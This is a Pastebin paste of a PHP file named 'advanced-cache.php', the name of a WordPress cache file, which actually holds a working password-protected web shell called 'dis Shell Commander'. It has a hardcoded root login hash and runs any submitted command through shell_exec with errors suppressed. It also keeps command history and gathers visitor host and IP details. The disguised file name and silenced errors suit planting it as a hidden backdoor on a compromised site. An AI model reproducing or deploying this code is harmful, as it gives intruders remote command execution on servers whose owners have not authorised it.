PalmaSolutions

advanced-cache.php

May 9th, 2018
279
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.52 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. error_reporting(0);
  5. session_start();
  6.  
  7. unset($user);        // Just in case ;-]
  8. unset($pass);
  9.  
  10. if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);
  11.  
  12. $cache_lines = 1000;
  13. $history_lines = 100;
  14. $history_chars = 20;
  15.  
  16. $user[] = "root";                $pass[] = "78b45bf662bafae9ac6b66097762c7d5";
  17. $to="";
  18. $subject = "php SSH";
  19. $info .= "HOST:\t$HTTP_HOST\n";
  20. $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
  21. $info .= "IP:\t$REMOTE_ADDR\n";
  22. $info .= "URL:\t$HTTP_REFERER\n";
  23.  
  24.  
  25. $alias = array(
  26.     "la"    => "ls -la",
  27.     "rf"    => "rm -f",
  28.     "unbz2" => "tar -xjpf",
  29.     "ungz"  => "tar -xzpf"
  30. );
  31.  
  32.  
  33.  
  34. if (!$_SESSION['user']) {
  35.  
  36.     $pr_login = "Login:\n";
  37.     $pr_pass = "Password:\n";
  38.     $err = "Invalid login!\n\n";
  39.     $succ = "Warning!
  40. Don`t be stupid .. this is a private server, so take extra care!!! - Unixguru\n\n";
  41.  
  42.     if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD
  43.  
  44.         $_SESSION['output'] .= $pr_pass;
  45.  
  46.         if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
  47.  
  48.             $key = array_search($_SESSION['login'], $user);
  49.  
  50.             if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
  51.                 $_SESSION['output'] .= $err;
  52.                 unset($_SESSION['login']);
  53.                 $prompt = $pr_login;
  54.  
  55.             } else { //..................................... SUCCESSFUL LOGIN
  56.                 $_SESSION['user'] = $_SESSION['login'];
  57.                 $_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
  58.                 $_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
  59.                 $_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
  60.                 $_SESSION['output'] .= $succ;
  61.                 $prompt = set_prompt();
  62.                 unset($_SESSION['login']);
  63.             }
  64.  
  65.         } else { //......................................... NO SUCH USERNAME
  66.             $_SESSION['output'] .= $err;
  67.             unset($_SESSION['login']);
  68.             $prompt = $pr_login;
  69.         }
  70.  
  71.     } else { //................................................ LOGIN PROCESS
  72.  
  73.         if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;
  74.  
  75.         if (!$_SESSION['login'] && $_POST['cmd']) {
  76.             $_SESSION['login'] = $_POST['cmd'];
  77.             $_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]\n";
  78.             $prompt = $pr_pass;
  79.         }
  80.     }
  81.  
  82. } else { //........................................................ LOGGED IN
  83.  
  84.  
  85.  
  86.                             /*=-- MEMBERS AREA --=*\
  87.                             \*=-- MEMBERS AREA --=*/
  88.  
  89.  
  90.     $prompt = set_prompt();
  91.  
  92.     chdir($_SESSION['dir']);
  93.  
  94.     if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
  95.         $_SESSION['history'] = "";
  96.  
  97.     if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']);
  98.  
  99.     if ($_POST['cmd']) {
  100.  
  101.         if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
  102.             $hist_arr[] = $_POST['cmd'];
  103.             $_SESSION['history'] = implode("\n", $hist_arr);
  104.         }
  105.  
  106.         if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
  107.             $start = count($hist_arr) - $history_lines;
  108.             $_SESSION['history'] = "";
  109.  
  110.             for ($i = $start; $i < count($hist_arr); $i++)
  111.                 $_SESSION['history'] .= $hist_arr[$i] . "\n";
  112.  
  113.             $_SESSION['history'] = substr($_SESSION['history'], 0, -1);
  114.             $hist_arr = explode("\n", $_SESSION['history']);
  115.         }
  116.  
  117.         $first_word = first_word($_POST['cmd']);
  118.  
  119.         if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
  120.             $_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
  121.             $first_word = first_word($_POST['cmd']);
  122.         }
  123.  
  124.         switch ($first_word) {
  125.  
  126.           case "clear":
  127.             $_SESSION['output'] = "";
  128.             break;
  129.  
  130.           case "exit":
  131.             session_destroy();
  132.             refresh();
  133.             break;
  134.  
  135.           case "cd":
  136.             $_SESSION['output'] .= $prompt;
  137.                 $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
  138.             $result = explode("\n", $result);
  139.             $_SESSION['dir'] = $result[count($result) - 2];
  140.  
  141.             if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
  142.                 $result[0] = "\n" . substr($result[0], strpos($result[0], "cd: ")) . "\n";
  143.             else $result[0] = "\n";
  144.  
  145.                 $prompt = set_prompt();
  146.                 $_SESSION['output'] .= $_POST['cmd'] . $result[0];
  147.                 break;
  148.  
  149.           default:
  150.             $result = shell_exec($_POST['cmd'] . " 2>&1");
  151.  
  152.             if (substr($result, -1) != "\n") $result .= "\n";
  153.             $_SESSION['output'] .= $prompt . $_POST['cmd'] . "\n" . $result;
  154.  
  155.             $rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
  156.             unset($arr);
  157.  
  158.             if ($rows > $cache_lines) {
  159.                     preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
  160.                 $_SESSION['output'] = $out[0] . "\n";
  161.             }
  162.         }
  163.     }
  164. }
  165.  
  166.  
  167.  
  168.                              /*=-- FUNCTIONS --=*\
  169.                              \*=-- FUNCTIONS --=*/
  170.  
  171.  
  172. function my_encode($str) {
  173.     $str = str_replace("\\\\", "\\", $str);
  174.     $str = str_replace("\\\"", "\"", $str);
  175.     $str = str_replace("\\'", "'", $str);
  176.  
  177.     while (strpos($str, "  ") !== false) $str = str_replace("  ", " ", $str);
  178.  
  179.     return rtrim(ltrim($str));
  180. }
  181.  
  182. function set_prompt() {
  183.     global $_SESSION;
  184.  
  185.     return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
  186. }
  187.  
  188. function first_word($str) {
  189.     list($str) = preg_split('/[ ;]/', $str);
  190.     return $str;
  191. }
  192.  
  193. function refresh() {
  194.     global $_SERVER;
  195.  
  196.     $self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
  197.     header("Location: $self");
  198.     die;
  199. }
  200.  
  201.  
  202.  
  203.                              /*=-- HTML PAGE --=*\
  204.                              \*=-- HTML PAGE --=*/
  205.  
  206.  
  207. $out = substr(preg_replace('/<\/(textarea)/i', '&lt;/\1', $_SESSION['output']), 0, -1);
  208.  
  209. ?><HTML>
  210.  
  211. <HEAD>
  212.   <TITLE>dis Shell Commander</TITLE>
  213.   <STYLE TYPE="text/css"><!--
  214.  
  215.     INPUT, TEXTAREA, SELECT, OPTION, TD {
  216.         color: #BBBBBB;
  217.         background-color: #000000;
  218.         font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
  219.     }
  220.  
  221.     TEXTAREA {
  222.         overflow-y: auto;
  223.         border-width: 0px;
  224.         height: 100%;
  225.         width: 100%;
  226.         padding: 0px;
  227.     }
  228.  
  229.     INPUT {
  230.         border-width: 0px;
  231.         height: 26px;
  232.         width: 100%;
  233.         padding-top: 5px;
  234.     }
  235.  
  236.     SELECT, OPTION {
  237.         color: #000000;
  238.         background-color: #BBBBBB;
  239.     }
  240.  
  241.     BODY {
  242.         overflow-y: auto;
  243.         margin: 0;
  244.     }
  245.  
  246.   --></STYLE>
  247.   <SCRIPT LANGUAGE="JavaScript"><!--
  248.  
  249. hist_arr = new Array();
  250.  
  251. <?php
  252.  
  253. foreach ($hist_arr as $key => $value) {
  254.     $value = str_replace("\\", "\\\\", $value);
  255.     $value = str_replace("\"", "\\\"", $value);
  256.     echo "hist_arr[$key] = \"$value\";\n";
  257. }
  258.  
  259. ?>
  260.  
  261. function parse_hist(key) {
  262.     if (key < hist_arr.length) {
  263.             if (key != "") {
  264.             document.getElementById('input').value = hist_arr[key];
  265.             document.getElementById('input').focus();
  266.         }
  267.     } else {
  268.             window.location.href = "?clear_hist=1";
  269.     }
  270. }
  271.  
  272. function input_focus() {
  273.     document.getElementById('input').focus();
  274. }
  275.  
  276. function selection_to_clipboard() { // IE only!
  277.     if (window.clipboardData && document.selection)
  278.         window.clipboardData.setData("Text", document.selection.createRange().text);
  279. }
  280.  
  281. if (window.clipboardData)
  282.     document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false");
  283.  
  284.   --></SCRIPT>
  285. </HEAD>
  286. <BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0">
  287. <TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%">
  288. <TR>
  289.   <TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output"
  290. onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?= $out ?></TEXTAREA></TD>
  291.  
  292. </TR>
  293. <TR>
  294.   <TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%">
  295.     <TR>
  296.     <FORM METHOD="POST" ACTION="">
  297.       <TD NOWRAP onClick="input_focus()"><?= substr($prompt, 0, -1) ?></TD>
  298.       <TD WIDTH="100%"><INPUT ID="input" TYPE="<?= (!$_SESSION['user'] && $_SESSION['login']) ? 'PASSWORD' : 'TEXT' ?>" NAME="cmd"></TD>
  299.     </FORM><?php
  300.  
  301. if ($hist_arr) {
  302.  
  303.     ?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)">
  304.         <OPTION VALUE="">--- HISTORY</OPTION><?php
  305.  
  306.     for ($i = count($hist_arr) - 1; $i >= 0; $i--) {
  307.  
  308.         if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "...";
  309.         else $option = $hist_arr[$i];
  310.  
  311.         echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>";
  312.     }
  313.  
  314.       ?><OPTION VALUE="<?= $history_lines + 1 ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php
  315.  
  316. }
  317.  
  318.   ?></TR>
  319.  
  320.   </TABLE></TD>
  321. </TR>
  322. </TABLE>
  323.  
  324. <SCRIPT LANGUAGE="JavaScript"><!--
  325. document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
  326. --></SCRIPT>
  327.  
  328. </BODY>
  329. </HTML><?
Advertisement
Add Comment
Please, Sign In to add comment